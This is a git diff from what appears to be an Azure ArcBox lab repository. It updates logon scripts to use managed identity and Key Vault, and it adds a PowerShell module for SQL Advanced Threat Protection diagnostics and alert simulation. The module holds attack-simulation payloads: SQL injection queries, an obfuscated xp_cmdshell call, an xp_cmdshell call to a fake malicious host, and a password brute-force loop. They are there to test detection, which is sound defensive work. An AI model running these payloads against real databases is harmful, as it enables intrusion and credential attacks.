-DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" -PassThru + +Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/MonitorWorkbookLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/MonitorWorkbookLogonScript.ps1 index 978887431e..133043e384 100644 --- a/azure_jumpstart_arcbox/artifacts/MonitorWorkbookLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/MonitorWorkbookLogonScript.ps1 @@ -1,32 +1,54 @@ -$ArcBoxDir = "C:\ArcBox" +$ArcBoxDir = 'C:\ArcBox' $ArcBoxLogsDir = "$ArcBoxDir\Logs" Start-Transcript -Path $ArcBoxLogsDir\MonitorWorkbookLogonScript.log # Required for CLI commands -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Header 'Az CLI Login' +az login --identity +az account set -s $env:subscriptionId -# Configure mgmtMonitorWorkbook.json template with subscription ID and resource group values -Write-Host "Configuring Azure Monitor Workbook ARM template." -Write-Host "`n" -$monitorWorkbook = "$ArcBoxDir\mgmtMonitorWorkbook.json" -(Get-Content -Path $monitorWorkbook) -replace '',$Env:subscriptionId | Set-Content -Path $monitorWorkbook -(Get-Content -Path $monitorWorkbook) -replace '',$Env:resourceGroup | Set-Content -Path $monitorWorkbook -(Get-Content -Path $monitorWorkbook) -replace '',$Env:workspaceName | Set-Content -Path $monitorWorkbook +Write-Header 'Az PowerShell Login' +Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId -# Configure mgmtMonitorWorkbook.parameters.json template with workspace resource id -$monitorWorkbookParameters = "$ArcBoxDir\mgmtMonitorWorkbook.parameters.json" -$workspaceResourceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) -(Get-Content -Path $monitorWorkbookParameters) -replace 'workbookResourceId-stage',$workspaceResourceId | Set-Content -Path $monitorWorkbookParameters -Write-Host "Deploying Azure Monitor Workbook ARM template." -Write-Host "`n" -az deployment group create --resource-group $Env:resourceGroup --template-file "$ArcBoxDir\mgmtMonitorWorkbook.json" --parameters "$ArcBoxDir\mgmtMonitorWorkbook.parameters.json" +Write-Host "[$(Get-Date -Format t)] INFO: Configuring Azure Monitor Workbook ARM template for $($env:flavor)" + Write-Host "`n" +if ($env:flavor -eq 'ITPro') { + + Deploy-Workbook -MonitoringDir C:\ArcBox -workbookFileName arc-inventory-workbook.json + Deploy-Workbook -MonitoringDir C:\ArcBox -workbookFileName arc-osperformance-workbook.json + + +} else { + + + Write-Host "`n" + + # Configure mgmtMonitorWorkbook.json template with subscription ID and resource group values + + $monitorWorkbook = "$ArcBoxDir\mgmtMonitorWorkbook.json" +(Get-Content -Path $monitorWorkbook) -replace '', $Env:subscriptionId | Set-Content -Path $monitorWorkbook +(Get-Content -Path $monitorWorkbook) -replace '', $Env:resourceGroup | Set-Content -Path $monitorWorkbook +(Get-Content -Path $monitorWorkbook) -replace '', $Env:workspaceName | Set-Content -Path $monitorWorkbook + + # Configure mgmtMonitorWorkbook.parameters.json template with workspace resource id + $monitorWorkbookParameters = "$ArcBoxDir\mgmtMonitorWorkbook.parameters.json" + $workspaceResourceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type 'Microsoft.OperationalInsights/workspaces' --query id -o tsv) +(Get-Content -Path $monitorWorkbookParameters) -replace 'workbookResourceId-stage', $workspaceResourceId | Set-Content -Path $monitorWorkbookParameters + + Write-Host 'Deploying Azure Monitor Workbook ARM template.' + Write-Host "`n" + az deployment group create --resource-group $Env:resourceGroup --template-file "$ArcBoxDir\mgmtMonitorWorkbook.json" --parameters "$ArcBoxDir\mgmtMonitorWorkbook.parameters.json" + Write-Host "`n" + +} + # Removing the LogonScript Scheduled Task so it won't run on next reboot -if ($null -ne (Get-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -ErrorAction SilentlyContinue)) { - Unregister-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Confirm:$false +if ($null -ne (Get-ScheduledTask -TaskName 'MonitorWorkbookLogonScript' -ErrorAction SilentlyContinue)) { + Unregister-ScheduledTask -TaskName 'MonitorWorkbookLogonScript' -Confirm:$false } Start-Sleep -Seconds 5 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 388b5ec94f..d5fc03124a 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -8,14 +8,23 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxDir = "C:\ArcBox" Start-Transcript -Path "$Env:ArcBoxLogsDir\RunAfterClientVMADJoin.log" -# Get Activectory Information +# Get windows administrator password from key vault +Write-Header "Az PowerShell Login" +Connect-AzAccount -Identity -Tenant $Env:tenantId -Subscription $Env:subscriptionId +$KeyVault = Get-AzKeyVault -ResourceGroupName $Env:resourceGroup + +if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { + Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault +} + +$adminPassword = Get-Secret -Name 'adminPassword' -AsPlainText + +# Get Active Directory Information $netbiosname = $Env:addsDomainName.Split('.')[0].ToUpper() $adminuser = "$netbiosname\$Env:adminUsername" -$secpass = $Env:adminPassword | ConvertTo-SecureString -AsPlainText -Force +$secpass = $adminPassword | ConvertTo-SecureString -AsPlainText -Force $adminCredential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminuser, $secpass -#$dcName = [System.Net.Dns]::GetHostByName($env:COMPUTERNAME).HostName - $dcInfo = Get-ADDomainController -Credential $adminCredential # Print domain information @@ -26,29 +35,36 @@ Write-Host "====================================================" # Create login session with domain credentials $cimsession = New-CimSession -Credential $adminCredential -# Creating scheduled task for DataServicesLogonScript.ps1 +# Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser -$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" -$WorkbookAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" -$nestedSQLAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -RunOnlyIfNetworkAvailable -NetworkName "Any" +Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -CimSession $cimsession -Action $Action -RunLevel "Highest" -Force -Settings $settings + +# Creating scheduled task for DataOpsLogonScript.ps1 +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" +$WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" +$nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" # Register schedule task under local account -Register-ScheduledTask -TaskName "DataOpsLogonScript" -Trigger $Trigger -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'DataOpsLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "DataOpsLogonScript" -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force +Write-Host "Registered scheduled task 'DataOpsLogonScript'." # Creating scheduled task for MonitorWorkbookLogonScript.ps1 -Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Action $WorkbookAction -RunLevel "Highest" -CimSession $cimsession -Force +Write-Host "Registered scheduled task 'MonitorWorkbookLogonScript'." # Creating scheduled task for ArcServersLogonScript.ps1 -Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force -Write-Host "Registered scheduled task 'ArcServersLogonScript' to run at user logon." +Register-ScheduledTask -TaskName "ArcServersLogonScript" -Action $nestedSQLAction -RunLevel "Highest" -CimSession $cimsession -Force +Write-Host "Registered scheduled task 'ArcServersLogonScript'." #Disable local account -$account=(Get-LocalGroupMember -Group "Administrators" | where {$_.PrincipalSource -eq "Local"}).name.split('\')[1] +$account=(Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.PrincipalSource -eq "Local"}).name.split('\')[1] net user $account /active:no # Delete schedule task schtasks.exe /delete /f /tn RunAfterClientVMADJoin +Restart-Computer -Force + Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/SetupADDS.ps1 b/azure_jumpstart_arcbox/artifacts/SetupADDS.ps1 index 9d408f82ff..d0a359053e 100644 --- a/azure_jumpstart_arcbox/artifacts/SetupADDS.ps1 +++ b/azure_jumpstart_arcbox/artifacts/SetupADDS.ps1 @@ -12,7 +12,6 @@ param ( [System.Environment]::SetEnvironmentVariable('domainName', $domainName,[System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('domainAdminUsername', $domainAdminUsername,[System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('domainAdminPassword', $domainAdminPassword,[System.EnvironmentVariableTarget]::Machine) $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" diff --git a/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 b/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 new file mode 100644 index 0000000000..e16f2d890d --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 @@ -0,0 +1,1155 @@ +#Requires -Version 5 +Function LogInfo([string]$message) +{ + Write-Host ("[Info ] $message" -Replace "`n\s*","`n ") +} + +Function LogOk([string]$message) +{ + Write-Host ("[Ok ] $message" -Replace "`n\s*","`n ") -ForegroundColor Green +} + +Function LogWarning([string]$warningMsg) +{ + Write-Host ("[Warning ] $warningMsg" -Replace "`n\s*","`n ") -ForegroundColor Yellow +} + +Function LogError([string]$errorMsg) +{ + Write-Host ("[Error ] $errorMsg" -Replace "`n\s*","`n ") -ForegroundColor Red +} + +Function Get-SqlInstances([bool]$isRunningOnly) +{ + if ($isRunningOnly) + { + $runningCondition = "AND State = 'Running'" + } + else + { + $runningCondition = "" + } + + $sqlInstances = Get-CimInstance -Query "SELECT Name, DisplayName, StartName, ProcessId, SystemName, PathName FROM Win32_Service WHERE (Name = 'MSSQLSERVER' OR Name LIKE 'MSSQL$%') AND DisplayName LIKE 'SQL Server (%' $($runningCondition)" + return $sqlInstances | Select-Object -Property Name, DisplayName ,ProcessId, @{l="Version"; e={ForEach-Object {if ($_.PathName -match "MSSQL(\d\d)\..*\\MSSQL") { [int]$Matches[1]}}}}, @{l="InstanceName"; e={ForEach-Object{ $splitted = $_.Name -Split "\$"; if ($splitted.Count -eq 1) { if($splitted[0] -match "MSSQLSERVER") {$null} else {$splitted[0]} } else { "$($Env:COMPUTERNAME)\$($splitted[1])" }}}} +} + +Function Test-Key([string]$path, [string]$key) +{ + if (!(Test-Path $path)) { return $false } + if ($null -eq (Get-ItemProperty $path).$key) { return $false } + return $true +} + +Function Test-OMSAgentInstalled +{ + LogInfo "Checking if OMS Agent is installed..." + if ((Test-Key "HKLM:\SOFTWARE\Microsoft\System Center Operations Manager\12\Setup\Agent" "InstallDirectory")) + { + $agentVersion = ((Get-Item $Env:ProgramFiles"\Microsoft Monitoring Agent\Agent\HealthService.exe").VersionInfo) + if ($agentVersion.FileVersion -lt $minimumAgentVersion) + { + LogWarning "OMS Agent version is: $($agentVersion.FileVersion). Minimum recommended version is $($minimumAgentVersion)" + return + } + + LogOk "OMS Agent is installed." + } + else + { + LogError "OMS Agent is not installed on the machine." + } +} + +Function Test-OmsAgentRunning +{ + $healthService = Get-Service -Name "HealthService" + if($healthService.Status -ne "Running") + { + LogError "OMS agent (HealthService) is not running (Status: $($healthService.Status)). + Start the service with the powershell command: Start-Service -Name 'healthservice'" + } + + LogOk "OMS agent (HealthService) status: $($healthService.Status)" +} + +Function Test-SqlRestartMessageExist($instanceName) +{ + LogInfo "Checking for restart message for instance '$instanceName'." + $restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.LevelDisplayName -eq "Error" } | Where-Object { $_.EventID -eq 4502 } | Where-Object { $_.Message.Contains($instanceName) } + if ($null -ne $restartInstanceLog -and $restartInstanceLog.Length -ne 0) + { + # Test if there was a restart of the instance since the restart request + $lastRestartLogEvent = $restartInstanceLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1 + if((Test-SqlServerReadyForClientConnections $instanceName $lastRestartLogEvent.TimeGenerated) -eq $false) + { + LogError "Restart request message for instance '$instanceName' exists. + Restart the service with the powershell command: Restart-Service -Name '$instanceName'" + $lastRestartLogEvent + return $false + } + } + + LogOk "Server instance $instanceName - No restart needed." + return $true +} + +Function Test-SqlServerReadyForClientConnections($instanceName, $timeToStartSearch) +{ + LogInfo "Checking for SQL Server restart since $timeToStartSearch" # message for instance '$instanceName'." + $readyForConnectionLog = Get-WinEvent -LogName 'Application' | Where-Object { $_.TimeCreated -ge $timeToStartSearch } | Where-Object { $_.ProviderName -eq $instanceName } | Where-Object { $_.EventID -eq 17126 } | Where-Object { $_.Message.Contains('SQL Server is now ready for client connections') } + if ($readyForConnectionLog.Length -eq 0) + { + return $false + } + + $lastRestart = $readyForConnectionLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1 + LogInfo "Server instance '$instanceName' was restarted at $($lastRestart.TimeGenerated)" + return $true +} + +Function Test-OmsAgentRestartedLately +{ + LogInfo "Checking if OMS agent is initialized since $($timeWindowToCheckLogs)." + $restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.LevelDisplayName -eq "Information" } | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 10113 } | Where-Object { $_.Message.Contains('Taking a New Global Snapshot.') } + if ($restartInstanceLog.Length -ne 0) + { + $logEntry = $restartInstanceLog | Sort-Object -Property TimeGenerated | Select-Object -First 1 + LogInfo "OMS agent was last initialized at $($logEntry[0].TimeGenerated)." + return + } + + LogOk "OMS agent initialization ok." +} + +Function LogErrorLoginWithSolutionInstallRequest($serverInstanceName, $displayName, $solutionName) +{ + LogError "Did not find a successfull login/run for $displayName from SQL ATP. + Make sure this machine is connected to a workspace which contains the solution '$solutionName' + To add the solution to the workspace add 'Sql Advanced Data Security' from the marketplace + If this machine is newlly created, newly connected to a workspace or '$solutionName' solution was recently added to the workspace: + Please wait 30 minutes and run the script again." +} + +Function Test-SqlAdvancedThreatProtectionLoginSuccess($serverInstanceName, $displayName, $isValidateByAppName) +{ + $appName = "SQL Advanced Threat Protection" + if ($isValidateByAppName) + { + $appNameCheck = ".*^application_name:$($appName)$" + $serverPrincipalCheck = "" + } + else + { + $appNameCheck = "" + $serverPrincipalCheck = "^server_principal_name:NT AUTHORITY\\SYSTEM$.*" + } + + $solutionName = "SQLAdvancedThreatProtection" + LogInfo "Checking logs for successfull '$appName' login for InstanceName: $displayName" + $logEntries = Get-WinEvent -LogName 'Security' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 33205 }` + | Where-Object { $_.Source -match 'MSSQL' }` + | Where-Object { $_.EntryType -eq [System.Diagnostics.EventLogEntryType]::SuccessAudit }` + | Where-Object { $_.Message -match "(?smi)$($serverPrincipalCheck)^server_instance_name:$($serverInstanceName.Replace('\', '\\'))$" + $appNameCheck }` + | Sort-Object -Property TimeGenerated -Descending + if($logEntries.Length -eq 0) + { + LogErrorLoginWithSolutionInstallRequest $serverInstanceName $displayName $solutionName + return $false + } + + $lastLoginTime = $logEntries | Select-Object -First 1 + LogOk "$appName successfully logged in to $displayName at $($lastLoginTime.TimeGenerated)" + return $true +} + +Function Test-SqlAdvancedDataSecuritySolutionsOk($instanceName, $isValidateByAppName) +{ + $serverInstanceName = $instanceName + $displayName = $instanceName + if ([string]::IsNullOrWhiteSpace($instanceName)) + { + $serverInstanceName = $Env:COMPUTERNAME + $displayName = "MSSQLSERVER (default)" + } + + LogInfo "Checking logs for 'SQL Advanced Data Security' status for InstanceName: $displayName" + $sqlAtpOk = Test-SqlAdvancedThreatProtectionLoginSuccess $serverInstanceName $displayName $isValidateByAppName + + return $sqlAtpOk +} + +Function Test-SqlInstancesThreatDetectionStatus +{ + $sqlInstances = Get-SqlInstances $true + $res = $true + foreach ($sqlInstance in $sqlInstances) + { + LogInfo "Testing Sql Server - Service Name: $($sqlInstance.Name), Display Name: $($sqlInstance.DisplayName), Instance Name: $($sqlInstance.InstanceName), Version: $($sqlInstance.Version)" + if ($sqlInstance.Version -ge 15) + { + LogOk "SQL Server ($($sqlInstance.Version)) does not require restart for SQL ATP" + continue + } + + $res = (Test-SqlRestartMessageExist $sqlInstance.Name) -and $res + $isByAppName = $sqlInstance.Version -eq 14 + $res = (Test-SqlAdvancedDataSecuritySolutionsOk $sqlInstance.InstanceName $isByAppName) -and $res + } + + return $res +} + +Function Get-SqlAtpManagementPackVersion +{ + <# + .SYNOPSIS + Gets the management pack version available on the machine. + #> + + $managementPacksPath = Get-MonitoringAgentManagementPacksPath + if (-not $managementPacksPath){ + return + } + $sqlQueryProtectionMPFile = Get-ChildItem $managementPacksPath | Where-Object {$_.Name -match 'Microsoft.IntelligencePacks.SqlQueryProtection'} + $sqlQueryProtectionMPXmlContent = [xml](Get-Content $sqlQueryProtectionMPFile.FullName -Encoding Unicode) + $sqlQueryProtectionMPXmlContent.ManagementPack.Manifest.Identity.Version +} + +Function Get-MonitoringAgentManagementPacksPath +{ + <# + .SYNOPSIS + Gets the Microsoft Monitoring Agent Management packs Folder Path. + #> + $healthServiceStatePath = Split-Path (Split-Path $PSScriptRoot -Parent) -Parent + if ((Split-Path $healthServiceStatePath -Leaf) -ne 'Health Service State'){ + LogError "Module SqlAdvancedThreatProtectionShell.psm1 needs to be imported from its home directory." + return $false + } + return $healthServiceStatePath + "\Management Packs" +} + +Function Get-SqlAtpMonitoringAgentAndWorkspaceId +{ + <# + .SYNOPSIS + Gets the Microsoft Monitoring Agent workspace and agent IDs. + #> + $monitoringAgentComObject = New-Object -ComObject 'AgentConfigManager.mgmtsvccfg' + $cloudWorkspaces = $monitoringAgentComObject.GetCloudWorkspaces() + + if ($cloudWorkspaces -eq $null) + { + LogError "To run this command, please use elevated prompt." + return; + } + + $workspaceIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property workspaceId).PSObject.Properties + $agentIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property AgentId).PSObject.Properties + + LogInfo "$($workspaceIdPSObjectProperties.Name): $($workspaceIdPSObjectProperties.Value)" + LogInfo "$($agentIdPSObjectProperties.Name): $($agentIdPSObjectProperties.Value)" +} + +Function Get-SqlAtpServerInstancesVersions +{ + <# + .SYNOPSIS + Gets the Microsoft Sql Server instances versions that are installed on the machine. + #> + + $installedInstances = Get-SqlInstances $false + foreach ($sqlInstance in $installedInstances) + { + LogInfo "Instance: $($sqlInstance.Name), $($sqlInstance.Version)" + } +} + +Function Start-SqlAtpEtwTracing +{ + <# + .SYNOPSIS + Starts ETW tracing on the machine. + #> + $EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' } + if ($null -ne $EtwTracing){ + & 'logman' update trace TracingGuidsManaged -ets -p '{36cd7b6e-631a-42e1-a3c0-d436ac41bc61}' 0 0x4 | Out-Null + } + else { + $AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent + & $AgentPath"\Tools\StartTracing.cmd" INF | Out-Null + } + LogOk "Logs have started collecting at: %WINDIR%\Logs\OpsMgrTrace\TracingGuidsManaged.etl" +} + +Function Stop-SqlAtpEtwTracing +{ + <# + .SYNOPSIS + Stops ETW tracing on the machine. + #> + $AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent + & $AgentPath"\Tools\StopTracing.cmd" | Out-Null + + $EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' } + if ($null -eq $EtwTracing){ + LogOk "Traces have stopped collecting." -ForegroundColor + } + else { + LogError "Traces have not been stopped, try rerunning the command." + } +} + +Function Test-SqlAtpInjection( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates an SQL injection. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + $remark = New-Guid + $connectionString = "Server = $server;application name=SqliTestApp"; + $Password.MakeReadOnly(); + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM sys.databases WHERE database_id like '1' OR 1=1 -- $($remark)'", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + finally + { + $sqlConnection.Dispose(); + } + + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like 'l%' --$($remark)123", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + finally + { + $sqlConnection.Dispose(); + } + + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like ''' --$($remark)123", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + catch + { + if ($_.Exception.InnerException.Number -eq 105) + { + LogOk "Successfully tested sql injection on $server" + } + else + { + LogError "Failed to test sql injection. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } + +} + +Function Test-SqlAtpShellObfuscation( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a shell command (xp_cmdshell) obfuscation. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + $connectionString = "Server = $server;application name=ShellObfuscationTestApp"; + $Password.MakeReadOnly(); + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "DECLARE @cmd as varchar(3000);SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+' ' + 'd'+'i'+'r';exec(@cmd); -- $($remark)", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + LogOk "Successfully simulated shell obfuscation on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 15281) + { + LogOk "Successfully simulated shell obfuscation on $server that was disabled on the server" + } + else + { + LogError "Failed to simulate shell obfuscation. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-SqlAtpShellExternalSourceAnomaly( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a shell external source anomaly by trying to reach an external source using a shell command. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + $connectionString = "Server = $server;application name=ShellExternalSourceTestApp"; + $Password.MakeReadOnly(); + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "EXEC xp_cmdshell 'hTtP://malicious.external.$($remark).source:443/executable.exe'", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + LogOk "Successfully simulated shell external source anomaly on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 15281) + { + LogOk "Successfully simulated shell external source anomaly on $server that was disabled on the server" + } + else + { + LogError "Failed to simulate shell external source. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-SqlAtpBruteForce( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$false)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [int]$AttemptCount=100, + [Parameter(Mandatory=$false)] + [securestring]$Password) +{ + <# + .SYNOPSIS + Simulates a brute-force attack. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Supply a username to iterate different passwords. If not supplied, iterate different users. + .Parameter Password + Supply a password to finish with a successful breach. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $applicationName = "brute_force_42146f8735244eccab8c6739ec399821" + + if ([String]::IsNullOrEmpty($UserName)) + { + for ($i = 0; $i -lt $AttemptCount; $i++) + { + LogInfo "Failed Login on different users to $server" + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; User ID=user$i; Password=''; Connect Timeout=5; application name=$applicationName" + $SqlConnection.Open(); + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogInfo "Login $i failed, retrying.." + continue + } + else + { + LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + } + else + { + LogInfo "attempting to brute-force on password to $server" + for ($i = 0; $i -lt $AttemptCount; $i++) + { + LogInfo "Failed Login on different passwords: Attempt $i" + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; User ID=$UserName; Password=$i; Connect Timeout=5; application name=$applicationName" + $SqlConnection.Open(); + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogInfo "Login failed, retrying.." + continue + } + else + { + LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + if ($Password -ne $null) + { + LogInfo "Login attempt on correct password to $server" + $Password.MakeReadOnly(); + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; Connect Timeout=5; application name=$applicationName" + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $SqlConnection.Open(); + LogInfo "Login attempt on correct password succeeded" + } + catch + { + LogError "Failed to test succesful bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + + LogOk "Successfully tested brute force on $server" +} + +Function Test-SqlAtpLoginSuspiciousApp( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a Login by a suspicious application. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Provide the principal name to use in the connection. + .Parameter Password + Provide the password of the principal to use in the connection. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + + $applicationName = 'NetSparker' + + if ($Password -ne $null) + { + $Password.MakeReadOnly(); + $connectionString = "Server = $server;application name=$applicationName"; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection = New-Object 